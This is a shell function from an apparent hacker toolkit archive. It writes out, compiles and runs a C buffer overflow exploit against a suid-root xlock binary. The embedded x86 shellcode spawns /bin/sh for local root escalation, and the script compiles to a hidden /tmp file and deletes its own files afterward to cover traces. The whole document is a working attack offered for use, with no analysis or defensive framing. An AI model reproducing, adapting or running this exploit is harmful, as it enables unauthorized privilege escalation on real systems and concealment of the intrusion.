home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / solaris-toolkit / soltool / doxlock.55 < prev    next >
Encoding:
Text File  |  2002-05-27  |  2.0 KB  |  86 lines

  1. function doxlock {
  2.  
  3.         if [ -s /tmp/xlex.c ]; then
  4.                 /bin/rm /tmp/xlex.c
  5.                 doxlock
  6.         else
  7.  
  8. /bin/cat > /tmp/xlex.c << STOP
  9. /*   x86 XLOCK overflow exploit
  10.      by cesaro@0wned.org 4/17/97
  11.  
  12.      Original exploit framework - lpr exploit
  13.  
  14.      Usage: make xlock-exploit
  15.             xlock-exploit  <optional_offset>
  16.  
  17.      Assumptions: xlock is suid root, and installed in /usr/X11/bin
  18. */
  19.  
  20. #include <stdio.h>
  21. #include <stdlib.h>
  22. #include <unistd.h>
  23.  
  24. #define DEFAULT_OFFSET          50
  25. #define BUFFER_SIZE             996
  26.  
  27. long get_esp(void)
  28. {
  29.    __asm__("movl %esp,%eax\n");
  30. }
  31.  
  32. int main(int argc, char *argv[])
  33. {
  34.    char *buff = NULL;
  35.    unsigned long *addr_ptr = NULL;
  36.    char *ptr = NULL;
  37.    int dfltOFFSET = DEFAULT_OFFSET;
  38.  
  39.    u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
  40.                         "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  41.                         "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
  42.                         "\xd7\xff\xff\xff/bin/sh";
  43.    int i;
  44.  
  45.    if (argc > 1)
  46.       dfltOFFSET = atoi(argv[1]);
  47.    else printf("You can specify another offset as a parameter if you need...\n");
  48.  
  49.    buff = malloc(4096);
  50.    if(!buff)
  51.    {
  52.       printf("can't allocate memory\n");
  53.       exit(0);
  54.    }
  55.    ptr = buff;
  56.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  57.    ptr += BUFFER_SIZE-strlen(execshell);
  58.    for(i=0;i < strlen(execshell);i++)
  59.       *(ptr++) = execshell[i];
  60.    addr_ptr = (long *)ptr;
  61.    for(i=0;i<2;i++)
  62.       *(addr_ptr++) = get_esp() + dfltOFFSET;
  63.    ptr = (char *)addr_ptr;
  64.    *ptr = 0;
  65.    execl("/usr/X11/bin/xlock", "xlock", "-nolock", "-name", buff, NULL);
  66. }
  67.  
  68. STOP
  69.  
  70. cc -o /tmp/.xlex -O /tmp/xlex.c 2> /dev/null
  71. /bin/rm /tmp/xlex.c
  72. echo " "
  73.  
  74. if [ -s /tmp/.xlex ]; then
  75.         /tmp/.xlex
  76.         else
  77.                 echo " oOo Xlock exploit failed."
  78.                 echo " "
  79.         exit 1
  80. fi
  81.  
  82. /bin/rm /tmp/.xlex
  83. exit 0
  84. fi
  85. }
  86.